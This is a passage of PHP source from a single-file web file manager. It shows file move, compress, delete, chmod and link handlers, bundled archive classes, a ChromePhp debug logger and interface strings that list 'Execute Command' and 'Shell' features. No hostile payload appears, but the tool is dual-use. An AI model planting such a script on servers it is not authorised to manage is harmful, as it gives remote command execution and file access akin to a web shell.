trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) total_move($fm_current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) total_move($fm_current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]); } reloadframe("parent",2); } } $fm_current_dir = $dir_dest; } } break; case 71: // compress sel if (strlen($cmd_arg)){ ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); $file = false; if (strstr($cmd_arg,".tar")) $file = new tar_file($cmd_arg); elseif (strstr($cmd_arg,".zip")) $file = new zip_file($cmd_arg); elseif (strstr($cmd_arg,".bzip")) $file = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")) $file = new gzip_file($cmd_arg); if ($file){ $file->set_options(array('basedir'=>$fm_current_dir,'overwrite'=>1,'level'=>3)); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) $file->add_files($selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) $file->add_files($selected_dir_list[$x]); } } } $file->create_archive(); } unset($file); } break; case 72: // decompress arq if (strlen($cmd_arg)){ if (file_exists($fm_current_dir.$cmd_arg)){ if (strstr($cmd_arg,".zip") && class_exists('ZipArchive')) { $zipArchive = new ZipArchive(); if ($zipArchive->open($cmd_arg) === true) { $zipArchive->extractTo($fm_current_dir); $zipArchive->close(); } } else { if (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $file = new bzip_file($cmd_arg); elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $file = new gzip_file($cmd_arg); elseif (strstr($cmd_arg,".tar")) $file = new tar_file($cmd_arg); if ($file){ $file->set_options(array('basedir'=>$fm_current_dir,'overwrite'=>1)); $file->extract_files(); } unset($file); } reloadframe("parent",2); } } break; case 8: // delete folder/file if (strlen($cmd_arg)){ total_delete($fm_current_dir.$cmd_arg); reloadframe("parent",2); } break; case 9: // CHMOD if((strlen($chmod_arg) == 4)&&(strlen($fm_current_dir))){ if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg; else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3); $new_mod = octdec($chmod_arg); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) @chmod($fm_current_dir.$selected_file_list[$x],$new_mod); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) @chmod($fm_current_dir.$selected_dir_list[$x],$new_mod); } } } } break; case 121: // Symlink case 122: // Hardlink $allow_links_to_links = true; // TODO: readlink() recursive $cmd_arg = fix_filename($cmd_arg); if (strlen($dir_dest)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) { $link_name = rtrim($dir_dest.$selected_file_list[$x],DIRECTORY_SEPARATOR); if (count($selected_file_list) == 1 && strlen($cmd_arg)) { $link_name = rtrim($dir_dest.$cmd_arg,DIRECTORY_SEPARATOR); } if ($action == '121') symlink_phpfm($fm_current_dir.$selected_file_list[$x], $link_name); else link_phpfm($fm_current_dir.$selected_file_list[$x], $link_name); } } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) { $link_name = rtrim($dir_dest.$selected_dir_list[$x],DIRECTORY_SEPARATOR); if (count($selected_dir_list) == 1 && strlen($cmd_arg)) { $link_name = rtrim($dir_dest.$cmd_arg,DIRECTORY_SEPARATOR); } if ($action == '121') symlink_phpfm($fm_current_dir.$selected_dir_list[$x], $link_name); else link_phpfm($fm_current_dir.$selected_dir_list[$x], $link_name); } } reloadframe("parent",2); } } $fm_current_dir = $dir_dest; } break; } if ($action != 10) { dir_list_form(); } } else { dir_list_form(); } if (!$about_form_was_shown) { echo " <script language=\"Javascript\" type=\"text/javascript\"> about_form(); </script>"; } echo " </body>\n</html>"; } function frameset(){ global $fm_path_info,$leftFrameWidth; if (!isset($leftFrameWidth)) $leftFrameWidth = 300; html_header(" <noscript> <meta http-equiv=\"refresh\" content=\"0;url=".$fm_path_info['basename']."?noscript=1\"> </noscript> "); echo " <frameset cols=\"".$leftFrameWidth.",*\" framespacing=\"0\"> <frameset rows=\"0,*\" framespacing=\"0\" frameborder=\"0\"> <frame src=\"".$fm_path_info['basename']."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"> <frame src=\"".$fm_path_info['basename']."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\"> </frameset> <frame src=\"".$fm_path_info['basename']."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\"> </frameset> </html>"; } // +-------------------------------------------------- // | Open Source Contributions // +-------------------------------------------------- /*------------------------------------------------- | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.1 | By Devin Doucette | Copyright (c) 2005 Devin Doucette | Email: darksnoopy@shaw.ca +-------------------------------------------------- | Email bugs/suggestions to darksnoopy@shaw.ca +-------------------------------------------------- | This script has been created and released under | the GNU GPL and is free to use and redistribute | only if this copyright statement is not removed +--------------------------------------------------*/ class archive { function __construct($name) { $this->options = array( 'basedir' => ".", 'name' => $name, 'prepend' => "", 'inmemory' => 0, 'overwrite' => 0, 'recurse' => 1, 'storepaths' => 1, 'followlinks' => 0, 'level' => 3, 'method' => 1, 'sfx' => "", 'type' => "", 'comment' => "" ); $this->files = array(); $this->exclude = array(); $this->storeonly = array(); $this->error = array(); } function set_options($options) { foreach ($options as $key => $value) $this->options[$key] = $value; if (!empty($this->options['basedir'])) { $this->options['basedir'] = str_replace("\\", "/", $this->options['basedir']); $this->options['basedir'] = preg_replace("/\/+/", "/", $this->options['basedir']); $this->options['basedir'] = preg_replace("/\/$/", "", $this->options['basedir']); } if (!empty($this->options['name'])) { $this->options['name'] = str_replace("\\", "/", $this->options['name']); $this->options['name'] = preg_replace("/\/+/", "/", $this->options['name']); } if (!empty($this->options['prepend'])) { $this->options['prepend'] = str_replace("\\", "/", $this->options['prepend']); $this->options['prepend'] = preg_replace("/^(\.*\/+)+/", "", $this->options['prepend']); $this->options['prepend'] = preg_replace("/\/+/", "/", $this->options['prepend']); $this->options['prepend'] = preg_replace("/\/$/", "", $this->options['prepend']) . "/"; } } function create_archive() { $this->make_list(); if ($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if ($this->options['overwrite'] == 0 && file_exists($this->options['name'])) { $this->error[] = "File {$this->options['name']} already exists."; chdir($pwd); return 0; } else if ($this->archive = @fopen($this->options['name'], "wb+")) { chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else { $this->archive = ""; } switch ($this->options['type']) { case "zip": if (!$this->create_zip()) { $this->error[] = "Could not create zip file."; return 0; } break; case "bzip": if (!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if (!$this->create_bzip()) { $this->error[] = "Could not create bzip2 file."; return 0; } break; case "gzip": if (!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } if (!$this->create_gzip()) { $this->error[] = "Could not create gzip file."; return 0; } break; case "tar": if (!$this->create_tar()) { $this->error[] = "Could not create tar file."; return 0; } } if ($this->options['inmemory'] == 0) { fclose($this->archive); } } function add_data($data) { if ($this->options['inmemory'] == 0) fwrite($this->archive, $data); else $this->archive .= $data; } function make_list() { if (!empty($this->exclude)) foreach ($this->files as $key => $value) foreach ($this->exclude as $current) if ($value['name'] == $current['name']) unset($this->files[$key]); if (!empty($this->storeonly)) foreach ($this->files as $key => $value) foreach ($this->storeonly as $current) if ($value['name'] == $current['name']) $this->files[$key]['method'] = 0; unset($this->exclude, $this->storeonly); } function add_files($list) { $temp = $this->list_files($list); foreach ($temp as $current) $this->files[] = $current; } function exclude_files($list) { $temp = $this->list_files($list); foreach ($temp as $current) $this->exclude[] = $current; } function store_files($list) { $temp = $this->list_files($list); foreach ($temp as $current) $this->storeonly[] = $current; } function list_files($list) { if (!is_array($list)) { $temp = $list; $list = array( $temp ); unset($temp); } $files = array(); $pwd = getcwd(); chdir($this->options['basedir']); foreach ($list as $current) { $current = str_replace("\\", "/", $current); $current = preg_replace("/\/+/", "/", $current); $current = preg_replace("/\/$/", "", $current); if (strstr($current, "*")) { $regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/", "\\\\\\1", $current); $regex = str_replace("*", ".*", $regex); $dir = strstr($current, "/") ? substr($current, 0, strrpos($current, "/")) : "."; $temp = $this->parse_dir($dir); foreach ($temp as $current2) if (preg_match("/^{$regex}$/i", $current2['name'])) $files[] = $current2; unset($regex, $dir, $temp, $current); } else if (@is_dir($current)) { $temp = $this->parse_dir($current); foreach ($temp as $file) $files[] = $file; unset($temp, $file); } else if (@file_exists($current)) $files[] = array( 'name' => $current, 'name2' => $this->options['prepend'] . preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($current, "/")) ? substr($current, strrpos($current, "/") + 1) : $current), 'type' => @is_link($current) && $this->options['followlinks'] == 0 ? 2 : 0, 'ext' => substr($current, strrpos($current, ".")), 'stat' => stat($current) ); } chdir($pwd); unset($current, $pwd); usort($files, array( "archive", "sort_files" )); return $files; } function parse_dir($dirname) { $files = array(); if ($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/", $dirname)) { $files = array( array( 'name' => $dirname, 'name2' => $this->options['prepend'] . preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($dirname, "/")) ? substr($dirname, strrpos($dirname, "/") + 1) : $dirname), 'type' => 5, 'stat' => stat($dirname) ) ); } if ($dir = @opendir($dirname)){ while (($file = @readdir($dir)) !== false) { $fullname = $dirname . "/" . $file; if ($file == "." || $file == "..") continue; else if (@is_dir($fullname)) { if (empty($this->options['recurse'])) continue; $temp = $this->parse_dir($fullname); foreach ($temp as $file2) $files[] = $file2; } else if (@file_exists($fullname)) $files[] = array( 'name' => $fullname, 'name2' => $this->options['prepend'] . preg_replace("/(\.+\/+)+/", "", ($this->options['storepaths'] == 0 && strstr($fullname, "/")) ? substr($fullname, strrpos($fullname, "/") + 1) : $fullname), 'type' => @is_link($fullname) && $this->options['followlinks'] == 0 ? 2 : 0, 'ext' => substr($file, strrpos($file, ".")), 'stat' => stat($fullname) ); } @closedir($dir); } return $files; } function sort_files($a, $b) { if ($a['type'] != $b['type']) if ($a['type'] == 5 || $b['type'] == 2) return -1; else if ($a['type'] == 2 || $b['type'] == 5) return 1; else if ($a['type'] == 5) return strcmp(strtolower($a['name']), strtolower($b['name'])); else if ($a['ext'] != $b['ext']) return strcmp($a['ext'], $b['ext']); else if ($a['stat'][7] != $b['stat'][7]) return $a['stat'][7] > $b['stat'][7] ? -1 : 1; else return strcmp(strtolower($a['name']), strtolower($b['name'])); return 0; } function download_file() { if ($this->options['inmemory'] == 0) { $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster."; return; } switch ($this->options['type']) { case "zip": header("Content-Type: application/zip"); break; case "bzip": header("Content-Type: application/x-bzip2"); break; case "gzip": header("Content-Type: application/x-gzip"); break; case "tar": header("Content-Type: application/x-tar"); } $header = "Content-Disposition: attachment; filename=\""; $header .= strstr($this->options['name'], "/") ? substr($this->options['name'], strrpos($this->options['name'], "/") + 1) : $this->options['name']; $header .= "\""; header($header); header("Content-Length: ".strlen($this->archive)); header("Content-Transfer-Encoding: binary"); header("Cache-Control: no-cache, must-revalidate, max-age=60"); header("Expires: Sat, 01 Jan 2000 12:00:00 GMT"); print($this->archive); exit(); } } class tar_file extends archive { function __construct($name) { parent::__construct($name); $this->options['type'] = "tar"; } function create_tar() { $pwd = getcwd(); chdir($this->options['basedir']); foreach ($this->files as $current) { if ($current['name'] == $this->options['name']) continue; if (strlen($current['name2']) > 99) { $path = substr($current['name2'], 0, strpos($current['name2'], "/", strlen($current['name2']) - 100) + 1); $current['name2'] = substr($current['name2'], strlen($path)); if (strlen($path) > 154 || strlen($current['name2']) > 99) { $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long."; continue; } } $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12", $current['name2'], sprintf("%07o", $current['stat'][2]), sprintf("%07o", $current['stat'][4]), sprintf("%07o", $current['stat'][5]), sprintf("%011o", $current['type'] == 2 ? 0 : $current['stat'][7]), sprintf("%011o", $current['stat'][9]), " ", $current['type'], $current['type'] == 2 ? @readlink($current['name']) : "", "ustar ", " ", "Unknown", "Unknown", "", "", !empty($path) ? $path : "", ""); $checksum = 0; for ($i = 0; $i < 512; $i++) $checksum += ord(substr($block, $i, 1)); $checksum = pack("a8", sprintf("%07o", $checksum)); $block = substr_replace($block, $checksum, 148, 8); if ($current['type'] == 2 || $current['stat'][7] == 0) $this->add_data($block); else if ($fp = @fopen($current['name'], "rb")) { $this->add_data($block); while ($temp = fread($fp, 1048576)) $this->add_data($temp); if ($current['stat'][7] % 512 > 0) { $temp = ""; for ($i = 0; $i < 512 - $current['stat'][7] % 512; $i++) $temp .= "\0"; $this->add_data($temp); } fclose($fp); } else $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } $this->add_data(pack("a1024", "")); chdir($pwd); return 1; } function extract_files() { $pwd = getcwd(); chdir($this->options['basedir']); if ($fp = $this->open_archive()) { if ($this->options['inmemory'] == 1) $this->files = array(); while ($block = fread($fp, 512)) { $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100symlink/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp", $block); $file = array( 'name' => $temp['prefix'] . $temp['name'], 'stat' => array( 2 => $temp['mode'], 4 => octdec($temp['uid']), 5 => octdec($temp['gid']), 7 => octdec($temp['size']), 9 => octdec($temp['mtime']) ), 'checksum' => octdec($temp['checksum']), 'type' => $temp['type'], 'magic' => $temp['magic'] ); if ($file['checksum'] == 0x00000000) break; else if (substr($file['magic'], 0, 5) != "ustar") { $this->error[] = "This script does not support extracting this type of tar file."; break; } $block = substr_replace($block, " ", 148, 8); $checksum = 0; for ($i = 0; $i < 512; $i++) $checksum += ord(substr($block, $i, 1)); if ($file['checksum'] != $checksum) $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt."; if ($this->options['inmemory'] == 1) { $file['data'] = fread($fp, $file['stat'][7]); fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512)); unset($file['checksum'], $file['magic']); $this->files[] = $file; } else if ($file['type'] == 5) { if (!is_dir($file['name'])) mkdir(fs_encode($file['name']), $file['stat'][2]); } else if ($this->options['overwrite'] == 0 && file_exists($file['name'])) { $this->error[] = "{$file['name']} already exists."; continue; } else if ($file['type'] == 2) { symlink_phpfm($temp['symlink'], $file['name']); chmod($file['name'], $file['stat'][2]); } else if ($new = @fopen($file['name'], "wb")) { fwrite($new, fread($fp, $file['stat'][7])); fread($fp, (512 - $file['stat'][7] % 512) == 512 ? 0 : (512 - $file['stat'][7] % 512)); fclose($new); chmod($file['name'], $file['stat'][2]); } else { $this->error[] = "Could not open {$file['name']} for writing."; continue; } chown($file['name'], $file['stat'][4]); chgrp($file['name'], $file['stat'][5]); touch($file['name'], $file['stat'][9]); unset($file); } } else $this->error[] = "Could not open file {$this->options['name']}"; chdir($pwd); } function open_archive() { return @fopen($this->options['name'], "rb"); } } class gzip_file extends tar_file { function __construct($name) { parent::__construct($name); $this->options['type'] = "gzip"; } function create_gzip() { if ($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if ($fp = gzopen($this->options['name'], "wb{$this->options['level']}")) { fseek($this->archive, 0); while ($temp = fread($this->archive, 1048576)) gzwrite($fp, $temp); gzclose($fp); chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else $this->archive = gzencode($this->archive, $this->options['level']); return 1; } function open_archive() { return @gzopen($this->options['name'], "rb"); } } class bzip_file extends tar_file { function __construct($name) { parent::__construct($name); $this->options['type'] = "bzip"; } function create_bzip() { if ($this->options['inmemory'] == 0) { $pwd = getcwd(); chdir($this->options['basedir']); if ($fp = bzopen($this->options['name'], "wb")) { fseek($this->archive, 0); while ($temp = fread($this->archive, 1048576)) bzwrite($fp, $temp); bzclose($fp); chdir($pwd); } else { $this->error[] = "Could not open {$this->options['name']} for writing."; chdir($pwd); return 0; } } else $this->archive = bzcompress($this->archive, $this->options['level']); return 1; } function open_archive() { return @bzopen($this->options['name'], "rb"); } } class zip_file extends archive { function __construct($name) { parent::__construct($name); $this->options['type'] = "zip"; } function create_zip() { $files = 0; $offset = 0; $central = ""; if (!empty($this->options['sfx'])) if ($fp = @fopen($this->options['sfx'], "rb")) { $temp = fread($fp, phpfm_filesize($this->options['sfx'])); fclose($fp); $this->add_data($temp); $offset += strlen($temp); unset($temp); } else $this->error[] = "Could not open sfx module from {$this->options['sfx']}."; $pwd = getcwd(); chdir($this->options['basedir']); foreach ($this->files as $current) { if ($current['name'] == $this->options['name']) continue; $timedate = explode(" ", date("Y n j G i s", $current['stat'][9])); $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) | ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]); $block = pack("VvvvV", 0x04034b50, 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate); if ($current['stat'][7] == 0 && $current['type'] == 5) { $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000); $block .= $current['name2'] . "/"; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate, 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']) + 1, 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset); $central .= $current['name2'] . "/"; $files++; $offset += (31 + strlen($current['name2'])); } else if ($current['stat'][7] == 0) { $block .= pack("VVVvv", 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000); $block .= $current['name2']; $this->add_data($block); $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate, 0x00000000, 0x00000000, 0x00000000, strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, $current['type'] == 5 ? 0x00000010 : 0x00000000, $offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2'])); } else if ($fp = @fopen($current['name'], "rb")) { $temp = fread($fp, $current['stat'][7]); fclose($fp); $crc32 = crc32($temp); if (!isset($current['method']) && $this->options['method'] == 1) { $temp = gzcompress($temp, $this->options['level']); $size = strlen($temp) - 6; $temp = substr($temp, 2, $size); } else $size = strlen($temp); $block .= pack("VVVvv", $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000); $block .= $current['name2']; $this->add_data($block); $this->add_data($temp); unset($temp); $central .= pack("VvvvvVVVVvvvvvVV", 0x02014b50, 0x0014, $this->options['method'] == 0 ? 0x0000 : 0x000A, 0x0000, (isset($current['method']) || $this->options['method'] == 0) ? 0x0000 : 0x0008, $timedate, $crc32, $size, $current['stat'][7], strlen($current['name2']), 0x0000, 0x0000, 0x0000, 0x0000, 0x00000000, $offset); $central .= $current['name2']; $files++; $offset += (30 + strlen($current['name2']) + $size); } else $this->error[] = "Could not open file {$current['name']} for reading. It was not added."; } $this->add_data($central); $this->add_data(pack("VvvvvVVv", 0x06054b50, 0x0000, 0x0000, $files, $files, strlen($central), $offset, !empty($this->options['comment']) ? strlen($this->options['comment']) : 0x0000)); if (!empty($this->options['comment'])) $this->add_data($this->options['comment']); chdir($pwd); return 1; } } /*------------------------------------------------- | ChromePhp | Server Side Chrome PHP debugger class +-------------------------------------------------- | @author Craig Campbell <iamcraigcampbell@gmail.com> +-------------------------------------------------- | Licensed under the Apache License, Version 2.0 (the "License") | http://www.apache.org/licenses/LICENSE-2.0 +--------------------------------------------------*/ class ChromePhp { const VERSION = '4.1.0'; const HEADER_NAME = 'X-ChromeLogger-Data'; const BACKTRACE_LEVEL = 'backtrace_level'; const LOG = 'log'; const WARN = 'warn'; const ERROR = 'error'; const GROUP = 'group'; const INFO = 'info'; const GROUP_END = 'groupEnd'; const GROUP_COLLAPSED = 'groupCollapsed'; const TABLE = 'table'; protected $_php_version; protected $_timestamp; protected $_json = array( 'version' => self::VERSION, 'columns' => array('log', 'backtrace', 'type'), 'rows' => array() ); protected $_backtraces = array(); protected $_error_triggered = false; protected $_settings = array( self::BACKTRACE_LEVEL => 2 ); protected static $_instance; protected $_processed = array(); private function __construct() { $this->_php_version = phpversion(); $this->_timestamp = $this->_php_version >= 5.1 ? $_SERVER['REQUEST_TIME'] : time(); $this->_json['request_uri'] = $_SERVER['REQUEST_URI']; } public static function getInstance() { if (self::$_instance === null) { self::$_instance = new self(); } return self::$_instance; } public static function log() { $args = func_get_args(); return self::_log('', $args); } public static function warn() { $args = func_get_args(); return self::_log(self::WARN, $args); } public static function error() { $args = func_get_args(); return self::_log(self::ERROR, $args); } public static function group() { $args = func_get_args(); return self::_log(self::GROUP, $args); } public static function info() { $args = func_get_args(); return self::_log(self::INFO, $args); } public static function groupCollapsed() { $args = func_get_args(); return self::_log(self::GROUP_COLLAPSED, $args); } public static function groupEnd() { $args = func_get_args(); return self::_log(self::GROUP_END, $args); } public static function table() { $args = func_get_args(); return self::_log(self::TABLE, $args); } protected static function _log($type, array $args) { // nothing passed in, don't do anything if (count($args) == 0 && $type != self::GROUP_END) { return; } $logger = self::getInstance(); $logger->_processed = array(); $logs = array(); foreach ($args as $arg) { $logs[] = $logger->_convert($arg); } $backtrace = debug_backtrace(false); $level = $logger->getSetting(self::BACKTRACE_LEVEL); $backtrace_message = 'unknown'; if (isset($backtrace[$level]['file']) && isset($backtrace[$level]['line'])) { //$backtrace_message = trim($backtrace[$level]['file']).' '.trim($backtrace[$level]['line']); $backtrace_message = trim(basename($backtrace[$level]['file'])).':'.trim($backtrace[$level]['line']); } $logger->_addRow($logs, $backtrace_message, $type); } protected function _convert($object) { // if this isn't an object then just return it if (!is_object($object)) { return $object; } //Mark this object as processed so we don't convert it twice and it //Also avoid recursion when objects refer to each other $this->_processed[] = $object; $object_as_array = array(); // first add the class name $object_as_array['___class_name'] = get_class($object); // loop through object vars $object_vars = get_object_vars($object); foreach ($object_vars as $key => $value) { // same instance as parent object if ($value === $object || in_array($value, $this->_processed, true)) { $value = 'recursion - parent object [' . get_class($value) . ']'; } $object_as_array[$key] = $this->_convert($value); } $reflection = new ReflectionClass($object); // loop through the properties and add those foreach ($reflection->getProperties() as $property) { // if one of these properties was already added above then ignore it if (array_key_exists($property->getName(), $object_vars)) { continue; } $type = $this->_getPropertyKey($property); if ($this->_php_version >= 5.3) { $property->setAccessible(true); } try { $value = $property->getValue($object); } catch (ReflectionException $e) { $value = 'only PHP 5.3 can access private/protected properties'; } // same instance as parent object if ($value === $object || in_array($value, $this->_processed, true)) { $value = 'recursion - parent object [' . get_class($value) . ']'; } $object_as_array[$type] = $this->_convert($value); } return $object_as_array; } protected function _getPropertyKey(ReflectionProperty $property) { $static = $property->isStatic() ? ' static' : ''; if ($property->isPublic()) { return 'public' . $static . ' ' . $property->getName(); } if ($property->isProtected()) { return 'protected' . $static . ' ' . $property->getName(); } if ($property->isPrivate()) { return 'private' . $static . ' ' . $property->getName(); } } protected function _addRow(array $logs, $backtrace, $type) { // if this is logged on the same line for example in a loop, set it to null to save space if (in_array($backtrace, $this->_backtraces)) { $backtrace = null; } // for group, groupEnd, and groupCollapsed // take out the backtrace since it is not useful if ($type == self::GROUP || $type == self::GROUP_END || $type == self::GROUP_COLLAPSED) { $backtrace = null; } if ($backtrace !== null) { $this->_backtraces[] = $backtrace; } $row = array($logs, $backtrace, $type); $this->_json['rows'][] = $row; $this->_writeHeader($this->_json); } protected function _writeHeader($data) { $header = self::HEADER_NAME . ': ' . $this->_encode($data); // https://maxchadwick.xyz/blog/http-request-header-size-limits // Most web servers do limit size of headers they accept. Apache default limit is 8KB, in IIS it's 16KB. $limit = 7; //Kb if ($limit) { if (strlen($header) > $limit * 1024){ $data['rows'] = array(); $data['rows'][] = array(array('LOG Error: HTML Header too big = '.format_size(strlen($header))), '', self::ERROR); $header = self::HEADER_NAME . ': ' . $this->_encode($data); } } header($header); } protected function _encode($data) { return base64_encode(utf8_encode(json_encode($data))); } public function addSetting($key, $value) { $this->_settings[$key] = $value; } public function addSettings(array $settings) { foreach ($settings as $key => $value) { $this->addSetting($key, $value); } } public function getSetting($key) { if (!isset($this->_settings[$key])) { return null; } return $this->_settings[$key]; } } // +-------------------------------------------------- // | Internationalization // +-------------------------------------------------- function et($tag){ global $lang,$sys_lang; // English - by Fabricio Seger Kolling $et['en']['Version'] = 'Version'; $et['en']['DocRoot'] = 'Document Root'; $et['en']['FMRoot'] = 'File Manager Root'; $et['en']['DateFormat'] = 'Date Format'; $et['en']['GetSize'] = 'Get size'; $et['en']['Error'] = 'Error'; $et['en']['Name'] = 'Name'; $et['en']['And'] = 'and'; $et['en']['Enter'] = 'Enter'; $et['en']['Send'] = 'Send'; $et['en']['Refresh'] = 'Refresh'; $et['en']['SaveConfig'] = 'Save Configurations'; //$et['en']['SavePass'] = 'Save Password'; //$et['en']['TypePass'] = 'Enter the password'; $et['en']['SaveFile'] = 'Save File'; $et['en']['Save'] = 'Save'; $et['en']['Leave'] = 'Leave'; $et['en']['Edit'] = 'Edit'; $et['en']['View'] = 'View'; $et['en']['Config'] = 'Config'; $et['en']['Ren'] = 'Rename'; $et['en']['Rem'] = 'Delete'; $et['en']['Compress'] = 'Compress'; $et['en']['Decompress'] = 'Decompress'; $et['en']['ResolveIDs'] = 'Resolve IDs'; $et['en']['Move'] = 'Move'; $et['en']['Copy'] = 'Copy'; $et['en']['ServerInfo'] = 'Server Info'; $et['en']['CreateDir'] = 'Create Directory'; $et['en']['CreateArq'] = 'Create File'; $et['en']['Symlink'] = 'Symlink'; $et['en']['HardLink'] = 'Hardlink'; $et['en']['ExecCmd'] = 'Execute Command'; $et['en']['Upload'] = 'Upload'; $et['en']['UploadEnd'] = 'Upload Finished'; $et['en']['Perm'] = 'Perm'; $et['en']['Perms'] = 'Permissions'; $et['en']['Owner'] = 'Owner'; $et['en']['Group'] = 'Group'; $et['en']['Other'] = 'Other'; $et['en']['Size'] = 'Size'; $et['en']['Date'] = 'Date'; $et['en']['Type'] = 'Type'; $et['en']['Free'] = 'free'; $et['en']['Shell'] = 'Shell'; $et['en']['Read'] = 'Read'; $et['en']['Write'] = 'Write'; $et['en']['Exec'] = 'Execute'; $et['en']['Apply'] = 'Apply'; $et['en']['StickyBit'] = 'Sticky Bit'; $et['en']['Pass'] = 'Password'; $et['en']['Lang'] = 'Language'; $et['en']['File'] = 'File'; $et['en']['File_s'] = 'file(s)'; $et['en']['Dir_s'] = 'directory(s)'; $et['en']['To'] = 'to'; $et['en']['Destination'] = 'Destination'; $et['en']['Configurations'] = 'Configurations'; $et['en']['JSError'] = 'JavaScript Error'; $et['en']['NoSel'] = 'There are no selected items'; $et['en']['SelDir'] = 'Select the destination directory on the left tree'; $et['en']['TypeDir'] = 'Enter the directory name'; $et['en']['TypeArq'] = 'Enter the file name'; $et['en']['TypeCmd'] = 'Enter the command'; $et['en']['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $et['en']['RemSel'] = 'DELETE selected items'; $et['en']['NoDestDir'] = 'There is no selected destination directory'; $et['en']['DestEqOrig'] = 'Origin and destination directories are equal'; $et['en']['InvalidDest'] = 'Destination directory is invalid'; $et['en']['NoNewPerm'] = 'New permission not set'; $et['en']['CopyTo'] = 'COPY to'; $et['en']['MoveTo'] = 'MOVE to'; $et['en']['AlterPermTo'] = 'CHANGE PERMISSIONS to'; $et['en']['ConfExec'] = 'Confirm EXECUTE'; $et['en']['ConfRem'] = 'Confirm DELETE'; $et['en']['EmptyDir'] = 'Empty directory'; $et['en']['IOError'] = 'I/O Error'; 